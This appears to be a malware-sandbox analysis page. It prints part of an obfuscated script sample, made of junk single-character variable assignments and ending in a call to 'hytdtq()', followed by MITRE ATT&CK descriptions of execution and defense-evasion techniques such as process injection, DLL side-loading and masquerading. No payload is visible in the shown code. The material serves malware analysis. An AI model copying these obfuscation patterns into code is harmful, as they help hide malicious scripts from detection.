337	mfnvdfk = "0";
338	cazsr = "z";
339	cazsr = "M";
340	cazsr = "u";
341	cazsr = "O";
342	cazsr = "y";
343	cazsr = "l";
344	cazsr = "W";
345	cazsr = "F";
346	cazsr = "U";
347	cazsr = "g";
348	cazsr = "J";
349	cazsr = "U";
350	cazsr = "s";
351	cazsr = "l";
352	cazsr = "k";
353	cazsr = "C";
354	cazsr = "R";
355	cazsr = "A";
356	cazsr = "H";
357	cazsr = "o";
358	cazsr = "P";
359	cazsr = "Y";
360	cazsr = "p";
361	cazsr = "L";
362	cazsr = "N";
363	cazsr = "O";
364	cazsr = "q";
365	cazsr = "A";
366	cazsr = "Q";
367	cazsr = "J";
368	cazsr = "V";
369	cazsr = "r";
370	cazsr = "u";
371	cazsr = "r";
372	cazsr = "U";
373	cazsr = "I";
374	cazsr = "u";
375	cazsr = "t";
376	cazsr = "p";
377	cazsr = "G";
378	cazsr = "l";
379	cjzyf = "G";
380	cjzyf = "A";
381	cjzyf = "h";
382	cjzyf = "l";
383	cjzyf = "B";
384	cjzyf = "d";
385	cjzyf = "z";
386	cjzyf = "L";
387	cjzyf = "i";
388	cjzyf = "k";
389	cjzyf = "K";
390	cjzyf = "P";
391	cjzyf = "U";
392	cjzyf = "X";
393	cjzyf = "w";
394	cjzyf = "m";
395	cjzyf = "w";
396	cjzyf = "O";
397	cjzyf = "c";
398	cjzyf = "x";
399	cjzyf = "b";
400	cjzyf = "v";
401	cjzyf = "T";
402	cjzyf = "u";
403	cjzyf = "u";
404	cjzyf = "R";
405	cjzyf = "M";
406	cjzyf = "G";
407	cjzyf = "8";
408	arezgy = "L";
409	arezgy = "A";
410	arezgy = "-";
411	olkpibqi = "d";
412	olkpibqi = "j";
413	olkpibqi = "Y";
414	olkpibqi = "k";
415	olkpibqi = "B";
416	olkpibqi = "W";
417	olkpibqi = "i";
418	olkpibqi = "c";
419	olkpibqi = "L";
420	olkpibqi = "t";
421	olkpibqi = "C";
422	olkpibqi = "g";
423	olkpibqi = "i";
424	olkpibqi = "I";
425	olkpibqi = "u";
426	olkpibqi = "p";
427	olkpibqi = "z";
428	olkpibqi = "T";
429	olkpibqi = "c";
430	olkpibqi = "e";
431	olkpibqi = "t";
432	olkpibqi = "r";
433	olkpibqi = "x";
434	olkpibqi = "L";
435	olkpibqi = "t";
436	olkpibqi = "u";
437	olkpibqi = "M";
438	olkpibqi = "t";
439	olkpibqi = "r";
440	olkpibqi = "l";
441	olkpibqi = "K";
442	olkpibqi = "r";
443	olkpibqi = "D";
444	olkpibqi = "h";
445	olkpibqi = "y";
446	olkpibqi = "o";
447	eifeoazl = "q";
448	eifeoazl = "r";
449	eifeoazl = "Y";
450	eifeoazl = "Z";
451	eifeoazl = "j";
452	eifeoazl = "l";
453	eifeoazl = "A";
454	eifeoazl = "i";
455	eifeoazl = "T";
456	eifeoazl = "u";
457	eifeoazl = "e";
458	eifeoazl = "S";
459	eifeoazl = "s";
460	eifeoazl = "Y";
461	eifeoazl = "i";
462	eifeoazl = "q";
463	eifeoazl = "X";
464	eifeoazl = "l";
465	eifeoazl = "k";
466	eifeoazl = "u";
467	eifeoazl = "o";
468	eifeoazl = "Q";
469	rzwkpy = "V";
470	rzwkpy = "y";
471	rzwkpy = "I";
472	rzwkpy = "q";
473	hqdwiwina = "O";
474	hqdwiwina = "s";
475	hqdwiwina = "k";
476	hqdwiwina = "a";
477	hqdwiwina = "U";
478	hqdwiwina = "d";
479	hqdwiwina = "N";
480	hqdwiwina = "g";
481	hqdwiwina = "U";
482	hqdwiwina = "j";
483	hqdwiwina = "B";
484	hqdwiwina = "U";
485	hqdwiwina = "a";
486	hqdwiwina = "y";
487	hqdwiwina = "b";
488	hqdwiwina = "z";
489	hqdwiwina = "C";
490	hqdwiwina = "k";
491	hqdwiwina = "c";
492	hqdwiwina = "V";
493	hqdwiwina = "p";
494	hqdwiwina = "G";
495	hqdwiwina = "H";
496	hqdwiwina = "F";
497	vmnst = "C";
498	vmnst = "h";
499	vmnst = "I";
500	vmnst = "G";
501	vmnst = "R";
502	vmnst = "i";
503	vmnst = "R";
504	vmnst = "U";
505	vmnst = "L";
506	vmnst = "K";
507	vmnst = "D";
508	vmnst = "V";
509	vmnst = "n";
510	vmnst = "j";
511	vmnst = "A";
512	vmnst = "p";
513	vmnst = "E";
514	vmnst = "e";
515	vmnst = "z";
516	vmnst = "O";
517	eazhpbwx = "i";
518	eazhpbwx = "b";
519	eazhpbwx = "z";
520	eazhpbwx = "T";
521	eazhpbwx = "j";
522	eazhpbwx = "D";
523	eazhpbwx = "K";
524	eazhpbwx = "U";
525	eazhpbwx = "I";
526	eazhpbwx = "N";
527	eazhpbwx = "Y";
528	eazhpbwx = "V";
529	eazhpbwx = "A";
530	eazhpbwx = "R";
531	eazhpbwx = "Q";
532	eazhpbwx = "f";
533	eazhpbwx = "Z";
534	eazhpbwx = "F";
535	eazhpbwx = "o";
536	eazhpbwx = "E";
537	eazhpbwx = "W";
538	eazhpbwx = "C";
539	eazhpbwx = "v";
540	eazhpbwx = "n";
541	eazhpbwx = "H";
542	eazhpbwx = "y";
543	eazhpbwx = "a";
544	eazhpbwx = "W";
545	eazhpbwx = "L";
546	eazhpbwx = "i";
547	eazhpbwx = "u";
548	eazhpbwx = "Y";
549	eazhpbwx = "j";
550	eazhpbwx = "Y";
551	eazhpbwx = "M";
552	eazhpbwx = "n";
553	eazhpbwx = "U";
554	eazhpbwx = "s";
555	eazhpbwx = "x";
556	eazhpbwx = "e";
557	eazhpbwx = "d";
558	eazhpbwx = "v";
559	eazhpbwx = "A";
560	eazhpbwx = "I";
561	ewuwscwum = "A";
562	ewuwscwum = "i";
563	ewuwscwum = "U";
564	ewuwscwum = "e";
565	ewuwscwum = "x";
566	ewuwscwum = "p";
567	ewuwscwum = "Q";
568	ewuwscwum = "R";
569	ewuwscwum = "H";
570	ewuwscwum = "T";
571	ewuwscwum = "e";
572	ewuwscwum = "N";
573	ewuwscwum = "Y";
574	ewuwscwum = "S";
575	ewuwscwum = "e";
576	ewuwscwum = "O";
577	ewuwscwum = "v";
578	ewuwscwum = "w";
579	ewuwscwum = "A";
580	ewuwscwum = "A";
581	ewuwscwum = "t";
582	ewuwscwum = "L";
583	ewuwscwum = "W";
584	eyyqpdh = "B";
585	eyyqpdh = "z";
586	eyyqpdh = "K";
587	eyyqpdh = "U";
588	eyyqpdh = "j";
589	eyyqpdh = "L";
590	eyyqpdh = "m";
591	eyyqpdh = "V";
592	eyyqpdh = "P";
593	eyyqpdh = "U";
594	eyyqpdh = "o";
595	eyyqpdh = "m";
596	eyyqpdh = "d";
597	eyyqpdh = "D";
598	eyyqpdh = "&";
599	obsdald = "M";
600	obsdald = "N";
601	obsdald = "n";
602	obsdald = "j";
603	obsdald = "V";
604	obsdald = "t";
605	obsdald = "C";
606	obsdald = "v";
607	obsdald = "l";
608	obsdald = "G";
609	obsdald = "F";
610	obsdald = "J";
611	obsdald = "F";
612	obsdald = "y";
613	obsdald = "O";
614	obsdald = "S";
615	obsdald = "l";
616	obsdald = "O";
617	obsdald = "w";
618	obsdald = "o";
619	obsdald = "P";
620	obsdald = "B";
621	obsdald = "a";
622	fwweu = "k";
623	ytlfizpkg = "l";
624	ytlfizpkg = "Q";
625	ytlfizpkg = "N";
626	ytlfizpkg = "O";
627	ytlfizpkg = "D";
628	ytlfizpkg = "S";
629	ytlfizpkg = "k";
630	ytlfizpkg = "a";
631	ytlfizpkg = "p";
632	ytlfizpkg = "f";
633	ytlfizpkg = "M";
634	ytlfizpkg = "Q";
635	ytlfizpkg = "q";
636	ytlfizpkg = "F";
637	ytlfizpkg = "Q";
638	ytlfizpkg = "v";
639	ytlfizpkg = "n";
640	ytlfizpkg = "q";
641	ytlfizpkg = "Q";
642	ytlfizpkg = "a";
643	ytlfizpkg = "s";
644	ytlfizpkg = "U";
645	ytlfizpkg = "T";
646	ytlfizpkg = "T";
647	ytlfizpkg = "t";
648	ytlfizpkg = "S";
649	ytlfizpkg = "b";
650	ytlfizpkg = "c";
651	rxfestzj = "g";
652	rxfestzj = "U";
653	rxfestzj = "c";
654	rxfestzj = "y";
655	rxfestzj = "A";
656	rxfestzj = "y";
657	rxfestzj = "y";
658	rxfestzj = "s";
659	rxfestzj = "u";
660	rxfestzj = "E";
661	rxfestzj = "c";
662	rxfestzj = "C";
663	rxfestzj = "I";
664	rxfestzj = "H";
665	rxfestzj = "B";
666	rxfestzj = "Y";
667	rxfestzj = "T";
668	rxfestzj = "s";
669	rxfestzj = "d";
670	rxfestzj = "W";
671	rxfestzj = "r";
672	rxfestzj = "T";
673	rxfestzj = "H";
674	rxfestzj = "p";
675	rxfestzj = "K";
676	rxfestzj = "h";
677	rxfestzj = "X";
678	rxfestzj = "P";
679	rxfestzj = "w";
680	rxfestzj = "z";
681	rxfestzj = "f";
682	steatr = "l";
683	steatr = "v";
684	steatr = "a";
685	steatr = "w";
686	steatr = "n";
687	steatr = "v";
688	steatr = "t";
689	steatr = "x";
690	steatr = "T";
691	steatr = "O";
692	steatr = "U";
693	steatr = "w";
694	steatr = "s";
695	steatr = "E";
696	steatr = "W";
697	steatr = "r";
698	steatr = "u";
699	steatr = "D";
700	steatr = "n";
701	steatr = "M";
702	steatr = "G";
703	steatr = "c";
704	steatr = "i";
705	steatr = "B";
706	steatr = "X";
707	steatr = "x";
708	steatr = "g";
709	steatr = "I";
710	steatr = "k";
711	steatr = "g";
712	steatr = "K";
713	steatr = "Z";
714	steatr = "Q";
715	steatr = "@";
716	pbxnji = "j";
717	pbxnji = "H";
718	pbxnji = "r";
719	pbxnji = "l";
720	pbxnji = "C";
721	pbxnji = "A";
722	pbxnji = "_";
723	ixkrs = "d";
724	ixkrs = "q";
725	ixkrs = "j";
726	ixkrs = "H";
727	ixkrs = "Z";
728	ixkrs = "l";
729	ixkrs = "O";
730	ixkrs = "q";
731	ixkrs = "m";
732	ixkrs = "2";
733	exgft = "d";
734	exgft = "q";
735	exgft = "d";
736	exgft = "U";
737	exgft = "m";
738	exgft = "V";
739	exgft = "k";
740	exgft = "n";
741	exgft = "w";
742	exgft = "u";
743	exgft = "i";
744	fohswupan = "I";
745	fohswupan = "d";
746	fohswupan = "H";
747	fohswupan = "v";
748	fohswupan = "z";
749	fohswupan = "g";
750	fohswupan = "C";
751	fohswupan = "T";
752	fohswupan = "l";
753	fohswupan = "q";
754	fohswupan = "i";
755	fohswupan = "n";
756	fohswupan = "B";
757	fohswupan = "G";
758	fohswupan = "f";
759	fohswupan = "V";
760	fohswupan = "K";
761	fohswupan = "U";
762	fohswupan = "h";
763	jhzbg = "E";
764	jhzbg = "v";
765	jhzbg = "H";
766	jhzbg = "d";
767	jhzbg = "y";
768	jhzbg = "F";
769	jhzbg = "Y";
770	jhzbg = "k";
771	jhzbg = "t";
772	jhzbg = "K";
773	jhzbg = "D";
774	jhzbg = "N";
775	jhzbg = "h";
776	jhzbg = "q";
777	jhzbg = "p";
778	jhzbg = "z";
779	jhzbg = "A";
780	jhzbg = "R";
781	jhzbg = "w";
782	jhzbg = "M";
783	jhzbg = "S";
784	jhzbg = "t";
785	jhzbg = "r";
786	jhzbg = "m";
787	jhzbg = "M";
788	jhzbg = "e";
789	jhzbg = "B";
790	jhzbg = "D";
791	jhzbg = "q";
792	jhzbg = "t";
793	jhzbg = "q";
794	jhzbg = "H";
795	jhzbg = "W";
796	jhzbg = "f";
797	jhzbg = "B";
798	jhzbg = "A";
799	jhzbg = "R";
800	jhzbg = "k";
801	jhzbg = "f";
802	jhzbg = "m";
803	jhzbg = "a";
804	jhzbg = "d";
805	jhzbg = "J";
806	jhzbg = "m";
807	noqnnrkiw = "O";
808	noqnnrkiw = "s";
809	noqnnrkiw = "t";
810	noqnnrkiw = "W";
811	noqnnrkiw = "B";
812	noqnnrkiw = "Q";
813	noqnnrkiw = "G";
814	noqnnrkiw = "H";
815	noqnnrkiw = "j";
816	noqnnrkiw = "q";
817	noqnnrkiw = "q";
818	noqnnrkiw = "X";
819	noqnnrkiw = "g";
820	noqnnrkiw = "T";
821	noqnnrkiw = "f";
822	noqnnrkiw = "k";
823	noqnnrkiw = "M";
824	noqnnrkiw = "V";
825	noqnnrkiw = "H";
826	noqnnrkiw = "z";
827	noqnnrkiw = "x";
828	noqnnrkiw = "n";
829	noqnnrkiw = "F";
830	noqnnrkiw = "I";
831	noqnnrkiw = "g";
832	noqnnrkiw = "m";
833	noqnnrkiw = "j";
834	noqnnrkiw = "k";
835	noqnnrkiw = "m";
836	noqnnrkiw = "T";
837	noqnnrkiw = "n";
838	noqnnrkiw = "v";
839	noqnnrkiw = "p";
840	noqnnrkiw = "9";
841	usgmhsx = "w";
842	usgmhsx = "g";
843	usgmhsx = "z";
844	usgmhsx = "h";
845	usgmhsx = "t";
846	usgmhsx = "d";
847	usgmhsx = "t";
848	usgmhsx = "r";
849	usgmhsx = "f";
850	usgmhsx = "Y";
851	usgmhsx = "V";
852	usgmhsx = "a";
853	usgmhsx = "p";
854	usgmhsx = "J";
855	usgmhsx = "H";
856	usgmhsx = "T";
857	usgmhsx = "t";
858	usgmhsx = "Y";
859	usgmhsx = "H";
860	phlpkkzj = "m";
861	phlpkkzj = "P";
862	phlpkkzj = "d";
863	phlpkkzj = "P";
864	phlpkkzj = "G";
865	phlpkkzj = "k";
866	phlpkkzj = "F";
867	phlpkkzj = "v";
868	phlpkkzj = "e";
869	phlpkkzj = "L";
870	phlpkkzj = "l";
871	phlpkkzj = "R";
872	phlpkkzj = "m";
873	phlpkkzj = "j";
874	phlpkkzj = "Z";
875	phlpkkzj = "Y";
876	phlpkkzj = "o";
877	phlpkkzj = "A";
878	phlpkkzj = "M";
879	phlpkkzj = "S";
880	phlpkkzj = "Y";
881	phlpkkzj = "u";
882	phlpkkzj = "B";
883	phlpkkzj = "Q";
884	phlpkkzj = "T";
885	phlpkkzj = "k";
886	phlpkkzj = "Z";
887	phlpkkzj = "F";
888	phlpkkzj = "A";
889	phlpkkzj = "u";
890	phlpkkzj = "C";
891	phlpkkzj = "E";
892	phlpkkzj = "I";
893	phlpkkzj = "e";
894	phlpkkzj = "F";
895	phlpkkzj = "e";
896	phlpkkzj = "l";
897	phlpkkzj = "X";
898	phlpkkzj = "x";
899	pfrrcvpm = "l";
900	pfrrcvpm = "S";
901	mywqtffqf = "o";
902	mywqtffqf = "O";
903	mywqtffqf = "N";
904	mywqtffqf = "V";
905	mywqtffqf = "H";
906	mywqtffqf = "N";
907	mywqtffqf = "L";
908	mywqtffqf = "A";
909	mywqtffqf = "E";
910	mywqtffqf = "I";
911	mywqtffqf = "H";
912	mywqtffqf = "F";
913	mywqtffqf = "e";
914	mywqtffqf = "g";
915	mywqtffqf = "u";
916	mywqtffqf = "m";
917	mywqtffqf = "C";
918	mywqtffqf = "Q";
919	mywqtffqf = "U";
920	mywqtffqf = "z";
921	mywqtffqf = "Y";
922	vtqxw = "r";
923	vtqxw = "t";
924	vtqxw = "K";
925	vtqxw = "b";
926	vtqxw = "r";
927	vtqxw = "R";
928	vtqxw = "J";
929	vtqxw = "j";
930	vtqxw = "d";
931	vtqxw = "O";
932	vtqxw = "t";
933	vtqxw = "Y";
934	vtqxw = "l";
935	vtqxw = "Q";
936	vtqxw = "V";
937	vtqxw = "x";
938	vtqxw = "A";
939	vtqxw = "A";
940	vtqxw = "v";
941	vtqxw = "P";
942	vtqxw = "e";
943	vtqxw = "U";
944	vtqxw = "g";
945	vtqxw = "m";
946	vtqxw = "r";
947	vtqxw = "V";
948	vtqxw = "w";
949	rxiei = "q";
950	rxiei = "x";
951	rxiei = "k";
952	rxiei = "E";
953	rxiei = "W";
954	rxiei = "m";
955	rxiei = "z";
956	rxiei = "7";
957	ogevml = "N";
958	ogevml = "J";
959	ogevml = "o";
960	ogevml = "b";
961	ogevml = "s";
962	ogevml = "u";
963	ogevml = "n";
964	ogevml = "d";
965	ogevml = "C";
966	ogevml = "i";
967	ogevml = "u";
968	ogevml = "k";
969	ogevml = "a";
970	ogevml = "L";
971	ogevml = "Y";
972	ogevml = "h";
973	ogevml = "J";
974	ogevml = "g";
975	ogevml = "K";
976	ogevml = "Z";
977	ogevml = "j";
978	ogevml = "i";
979	ogevml = "K";
980	ogevml = "m";
981	ogevml = "d";
982	ogevml = "A";
983	ogevml = "G";
984	ogevml = "U";
985	ogevml = "a";
986	ogevml = "K";
987	ogevml = "a";
988	ogevml = "u";
989	ogevml = "S";
990	ogevml = "u";
991	ogevml = "H";
992	ogevml = "s";
993	ogevml = "p";
994	ogevml = "c";
995	ogevml = "S";
996	ogevml = "q";
997	ogevml = "v";
998	jnlobwjo = "i";
999	jnlobwjo = "Y";
1000	jnlobwjo = "w";
1001	jnlobwjo = "c";
1002	jnlobwjo = "N";
1003	jnlobwjo = "o";
1004	jnlobwjo = "z";
1005	jnlobwjo = "j";
1006	jnlobwjo = "p";
1007	jnlobwjo = "T";
1008	jnlobwjo = "a";
1009	jnlobwjo = "l";
1010	jnlobwjo = "d";
1011	jnlobwjo = "o";
1012	jnlobwjo = "x";
1013	jnlobwjo = "e";
1014	jnlobwjo = "L";
1015	jnlobwjo = "D";
1016	jnlobwjo = "s";
1017	jnlobwjo = "N";
1018	jnlobwjo = "d";
1019	jnlobwjo = "D";
1020	jnlobwjo = "w";
1021	jnlobwjo = "V";
1022	jnlobwjo = "x";
1023	jnlobwjo = "y";
1024	jnlobwjo = "d";
1025	easze = "M";
1026	easze = "c";
1027	easze = "o";
1028	easze = "X";
1029	easze = "l";
1030	easze = "P";
1031	easze = "H";
1032	easze = "P";
1033	pkblem = "S";
1034	pkblem = "d";
1035	pkblem = "M";
1036	pkblem = "v";
1037	pkblem = "J";
1038	pkblem = "y";
1039	pkblem = "B";
1040	pkblem = "A";
1041	pkblem = "e";
1042	pkblem = "W";
1043	pkblem = "w";
1044	pkblem = "w";
1045	pkblem = "b";
1046	pkblem = "r";
1047	pkblem = "e";
1048	pkblem = "g";
1049	pkblem = "U";
1050	pkblem = "K";
1051	pkblem = "i";
1052	pkblem = "U";
1053	pkblem = "U";
1054	pkblem = "s";
1055	pkblem = "X";
1056	pkblem = "L";
1057	pkblem = "P";
1058	pkblem = "x";
1059	pkblem = "U";
1060	pkblem = "A";
1061	pkblem = "E";
1062	pkblem = "R";
1063	pkblem = "J";
1064	pkblem = "C";
1065	pkblem = "x";
1066	pkblem = "G";
1067	pkblem = "x";
1068	pkblem = "G";
1069	pkblem = "K";
1070	pkblem = "c";
1071	pkblem = "a";
1072	pkblem = "N";
1073	pkblem = "a";
1074	pkblem = "k";
1075	pkblem = "A";
1076	pkblem = "6";
1077	wwecoam = "s";
1078	wwecoam = "m";
1079	wwecoam = "Q";
1080	wwecoam = "P";
1081	wwecoam = "r";
1082	wwecoam = "5";
1083	eiknrc = "L";
1084	eiknrc = "d";
1085	eiknrc = "u";
1086	eiknrc = "M";
1087	eiknrc = "I";
1088	eiknrc = "J";
1089	eiknrc = "E";
1090	eiknrc = "e";
1091	mwleln = "L";
1092	mwleln = "V";
1093	mwleln = "S";
1094	mwleln = "e";
1095	mwleln = "R";
1096	mwleln = "m";
1097	mwleln = "r";
1098	mwleln = "R";
1099	mwleln = "V";
1100	mwleln = "m";
1101	mwleln = "p";
1102	mwleln = "z";
1103	mwleln = "u";
1104	mwleln = "c";
1105	mwleln = "h";
1106	mwleln = "W";
1107	mwleln = "O";
1108	mwleln = "o";
1109	mwleln = "f";
1110	mwleln = "N";
1111	mwleln = "U";
1112	mwleln = "U";
1113	mwleln = "T";
1114	mwleln = "S";
1115	mwleln = "f";
1116	mwleln = "l";
1117	mwleln = "S";
1118	mwleln = "A";
1119	mwleln = "m";
1120	mwleln = "N";
1121	mwleln = "G";
1122	mwleln = "N";
1123	mwleln = "X";
1124	mwleln = "j";
1125	veirgh = "m";
1126	veirgh = "u";
1127	veirgh = "R";
1128	veirgh = "h";
1129	veirgh = "y";
1130	veirgh = "V";
1131	veirgh = "t";
1132	veirgh = "r";
1133	veirgh = "X";
1134	veirgh = "z";
1135	veirgh = "z";
1136	veirgh = "r";
1137	veirgh = "t";
1138	veirgh = "X";
1139	veirgh = "F";
1140	veirgh = "q";
1141	veirgh = "T";
1142	veirgh = "C";
1143	veirgh = "C";
1144	veirgh = "w";
1145	veirgh = "l";
1146	veirgh = "p";
1147	veirgh = "c";
1148	veirgh = "Q";
1149	veirgh = "b";
1150	veirgh = "s";
1151	veirgh = "z";
1152	veirgh = "d";
1153	veirgh = "Z";
1154	veirgh = "I";
1155	veirgh = "n";
1156	veirgh = "x";
1157	veirgh = "E";
1158	kuqqooyh = "l";
1159	kuqqooyh = "W";
1160	kuqqooyh = "x";
1161	kuqqooyh = "E";
1162	kuqqooyh = "m";
1163	kuqqooyh = "N";
1164	kuqqooyh = "T";
1165	kuqqooyh = "w";
1166	kuqqooyh = "F";
1167	kuqqooyh = "k";
1168	kuqqooyh = "Z";
1169	kuqqooyh = "q";
1170	kuqqooyh = "D";
1171	kuqqooyh = "D";
1172	kuqqooyh = "m";
1173	kuqqooyh = "T";
1174	qxeainsul = "E";
1175	qxeainsul = "g";
1176	qxeainsul = "u";
1177	qxeainsul = "n";
1178	qxeainsul = "v";
1179	qxeainsul = "o";
1180	qxeainsul = "a";
1181	qxeainsul = "Y";
1182	qxeainsul = "I";
1183	qxeainsul = "O";
1184	qxeainsul = "W";
1185	qxeainsul = "g";
1186	qxeainsul = "V";
1187	qxeainsul = "X";
1188	qxeainsul = "l";
1189	qxeainsul = "s";
1190	qxeainsul = "w";
1191	qxeainsul = "Z";
1192	qxeainsul = "i";
1193	qxeainsul = "w";
1194	qxeainsul = "U";
1195	qxeainsul = "t";
1196	qxeainsul = "h";
1197	qxeainsul = "N";
1198	qxeainsul = "P";
1199	qxeainsul = "z";
1200	qxeainsul = "r";
1201	qxeainsul = "\\";
1202	pocpwn = "u";
1203	pocpwn = "h";
1204	pocpwn = "l";
1205	pocpwn = "L";
1206	pocpwn = "r";
1207	pocpwn = "B";
1208	pocpwn = "g";
1209	pocpwn = "C";
1210	pocpwn = "P";
1211	pocpwn = "f";
1212	pocpwn = "H";
1213	pocpwn = "Y";
1214	pocpwn = "n";
1215	pocpwn = "E";
1216	pocpwn = "F";
1217	pocpwn = "N";
1218	pocpwn = "a";
1219	pocpwn = "A";
1220	pocpwn = "f";
1221	pocpwn = "H";
1222	pocpwn = "B";
1223	pocpwn = "v";
1224	pocpwn = "t";
1225	pocpwn = "W";
1226	pocpwn = "c";
1227	pocpwn = "z";
1228	pocpwn = "s";
1229	pocpwn = "J";
1230	pocpwn = "z";
1231	pocpwn = "F";
1232	pocpwn = "m";
1233	pocpwn = "N";
1234	pocpwn = "J";
1235	pocpwn = "X";
1236	pocpwn = "C";
1237	pocpwn = "d";
1238	pocpwn = "S";
1239	pocpwn = "1";
1240	zxkehj = "M";
1241	zxkehj = "J";
1242	zxkehj = "G";
1243	zxkehj = "C";
1244	zxkehj = "U";
1245	zxkehj = "u";
1246	zxkehj = "S";
1247	zxkehj = "x";
1248	zxkehj = "z";
1249	zxkehj = "N";
1250	qpmxoxb = "O";
1251	qpmxoxb = "O";
1252	qpmxoxb = "t";
1253	qpmxoxb = "b";
1254	qpmxoxb = "o";
1255	qpmxoxb = "m";
1256	qpmxoxb = "u";
1257	qpmxoxb = "C";
1258	lvbilncy = "P";
1259	lvbilncy = "E";
1260	lvbilncy = "x";
1261	lvbilncy = "u";
1262	lvbilncy = "o";
1263	lvbilncy = "k";
1264	lvbilncy = "K";
1265	bhckdyja = "d";
1266	bhckdyja = "l";
1267	bhckdyja = "C";
1268	bhckdyja = "l";
1269	bhckdyja = "N";
1270	bhckdyja = "N";
1271	bhckdyja = "W";
1272	bhckdyja = ".";
1273	hdlvdoow = "Z";
1274	hdlvdoow = "I";
1275	hdlvdoow = "E";
1276	hdlvdoow = "k";
1277	hdlvdoow = "N";
1278	hdlvdoow = "f";
1279	hdlvdoow = "U";
1280	hdlvdoow = "c";
1281	hdlvdoow = "E";
1282	hdlvdoow = "H";
1283	hdlvdoow = "z";
1284	hdlvdoow = "s";
1285	hdlvdoow = "K";
1286	hdlvdoow = "m";
1287	hdlvdoow = ":";
1288	shwrxgwz = "T";
1289	shwrxgwz = "Z";
1290	shwrxgwz = "C";
1291	shwrxgwz = "M";
1292	shwrxgwz = "G";
1293	shwrxgwz = "s";
1294	shwrxgwz = "K";
1295	shwrxgwz = "m";
1296	shwrxgwz = "S";
1297	shwrxgwz = "Y";
1298	shwrxgwz = "M";
1299	shwrxgwz = "H";
1300	shwrxgwz = "A";
1301	shwrxgwz = "L";
1302	shwrxgwz = "u";
1303	shwrxgwz = "K";
1304	shwrxgwz = "h";
1305	shwrxgwz = "M";
1306	shwrxgwz = "L";
1307	shwrxgwz = "O";
1308	shwrxgwz = "l";
1309	shwrxgwz = "f";
1310	shwrxgwz = "k";
1311	shwrxgwz = "N";
1312	shwrxgwz = "f";
1313	shwrxgwz = "R";
1314	ivrzbzk = "v";
1315	ivrzbzk = "x";
1316	ivrzbzk = "m";
1317	ivrzbzk = "l";
1318	ivrzbzk = "Q";
1319	ivrzbzk = "K";
1320	ivrzbzk = "N";
1321	ivrzbzk = "K";
1322	ivrzbzk = "z";
1323	ivrzbzk = "x";
1324	ivrzbzk = "W";
1325	ivrzbzk = "L";
1326	ivrzbzk = "u";
1327	ivrzbzk = "F";
1328	ivrzbzk = "a";
1329	ivrzbzk = "Y";
1330	ivrzbzk = "R";
1331	ivrzbzk = "i";
1332	ivrzbzk = "g";
1333	ivrzbzk = "r";
1334	ivrzbzk = "J";
1335	ivrzbzk = "R";
1336	ivrzbzk = "W";
1337	ivrzbzk = "v";
1338	ivrzbzk = "U";
1339	ivrzbzk = "e";
1340	ivrzbzk = "W";
1341	ivrzbzk = "K";
1342	ivrzbzk = "s";
1343	hytdtq ( );	hytdtq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

